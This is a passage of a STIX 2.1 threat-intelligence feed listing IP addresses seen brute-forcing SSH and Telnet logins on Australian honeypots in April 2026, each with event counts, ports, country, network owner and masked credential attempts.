      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 212109. Organisation(s): Squirrel Internet Ltd. Usernames observed (masked): r**t, 3**********4, ***. Passwords observed (masked): 3***********4, 3**********4, 1*******a, 1***********3, 5****:.",
      "id": "indicator--53e4970f-56bf-48d2-a4cd-418777310c01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.59.182.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T15:15:11.000Z",
      "valid_until": "2026-05-30T15:15:09.000Z"
    },
    {
      "created": "2026-04-28T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--77424890-1ec4-4c14-9609-c28852d9f71e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.171.141.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T15:15:11.000Z",
      "valid_until": "2026-05-30T15:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, e****t. Passwords observed (masked): 3***********4, 3**********4, !**********+, 1******x, 1****1.",
      "id": "indicator--cd2807bc-d84e-4d86-882a-9fb6bf166198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--d0143a7a-d9b0-4830-8cb7-39ef8d62203f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.238.221.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--56e6ee3d-ed8f-457a-8397-d979fe982d5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: SG. ASN(s): 20473. Organisation(s): The Constant Company, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6.",
      "id": "indicator--c1137940-4e3d-4de7-9d81-5e5b0079561a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.28.152.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--4be9893c-ff2f-4a2d-8e4d-8549e821930d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.229.16.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net.",
      "id": "indicator--ac76362a-4dbd-470f-b383-af616320d13f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.107.67.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--8829e0cc-ab58-4fcb-850b-caf9d36e7a15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.89.163.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ef6d58ab-c211-4af5-a462-afb77f83276f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.92.238.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T16:15:11.000Z",
      "valid_until": "2026-05-30T16:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 122. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4, a***n, ***. Passwords observed (masked): 1*****z, 3***********4, 3**********4, 4******5, @******3.",
      "id": "indicator--bd5c9da7-9e74-4407-977a-58c9ebbda093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.219.104.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 159. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138000. Organisation(s): PT Antar Fiber Optik. Usernames observed (masked): r**t, u****u, 3**********4, **, o****e. Passwords observed (masked): 1**********c, 1*******d, 3***********4, 3**********4, F*******6.",
      "id": "indicator--d7497fef-39d8-4a61-8f76-cf1f045a6361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.79.187.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A**********4, A******5, A******7.",
      "id": "indicator--0324e9ba-9c50-4719-acd6-c58dc3706951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.149.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--a7fd7460-1410-452c-ba98-3990114d136d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.108.211.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7476c8a5-00f1-4cba-94b7-3c8338e8e9d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--73d42459-85d3-4200-8d1f-1b1753cb5d69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 165. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AF. ASN(s): 45178. Organisation(s): TELECOM DEVELOPMENT COMPANY AFGHANISTAN. Usernames observed (masked): r**t, 3**********4, **, o****e, u***3. Passwords observed (masked): 1**********c, 1*******c, 1*******y, 3***********4, 3**********4.",
      "id": "indicator--730fa3d1-8105-426b-bb4b-cb299464f22a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.118.81.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T17:15:12.000Z",
      "valid_until": "2026-05-30T17:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--1cf7156c-7b86-4f7e-b842-5df067c2ed2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.200.148.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--31cc1394-f405-4411-abd5-4387934525fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.112.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): b****x, 3**********4, a************r, ***, d*****n. Passwords observed (masked): a*******l, 0**0, 1**4, 1****6, 1********0.",
      "id": "indicator--22629d47-4ee1-444b-a3f7-61273ff94c1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.29.214.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397270. Organisation(s): NetInformatik Inc.. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--3819c6e9-c287-449f-9127-69d69fed7b23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.51.96.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23, 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--4df11e09-bfb6-44c2-8b3b-f5386a4fcac4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--fe58d46a-1e64-4590-a8cf-2e74703b2a31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--d3cdf38a-a03e-4a06-8237-e7aeef6ec20f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.150.41.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265605. Organisation(s): VELOCOM SA DE CV.",
      "id": "indicator--3a7446ad-2330-4803-a553-aebbe31b78da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.59.131.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 210976. Organisation(s): Timeweb, LLP. Usernames observed (masked): a***n, s**d, t**t. Passwords observed (masked): a***n, s**d, t**t.",
      "id": "indicator--4c7fddd6-0060-433d-9532-5572dc018597",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.129.238.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--64966f7d-5425-4b20-b677-59a9b033cbbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.246.231.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T18:15:11.000Z",
      "valid_until": "2026-05-30T18:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--e40e9e14-cd50-4407-ad26-eccaaa669902",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.154.42.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--374143b7-96be-45e8-9c99-0a804d76656b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.0.7.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--3c336756-4969-4f74-98fb-11e6bbddd334",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.228.104.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 14868. Organisation(s): Ligga Telecomunicacoes S.A..",
      "id": "indicator--90f0945f-5149-46ad-acff-b927138b9250",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.92.26.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--d270d208-efd9-42be-9203-845a316be673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.124.179.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 210519. Organisation(s): ToshTeleQabul MChJ.",
      "id": "indicator--07c74b9f-0ccb-42f4-97e7-50fa6f3ebbd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.148.197.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--65f274f2-e1ae-4786-b0ec-989af3d83b63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.143.31.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications.",
      "id": "indicator--019e889e-52d4-4a3c-b684-b79e8e0a3084",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-28T19:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '50.99.118.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-28T19:15:15.000Z",
      "valid_until": "2026-05-30T19:15:09.000Z"
    },
    {
      "created": "2026-04-28T19:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12683. Organisation(s): Rostelecom.",
      "id": "indicator--9276668f-03d8-482b-a427-ba815fb95745",
      "labels": [
        "bruteforce"
      ],
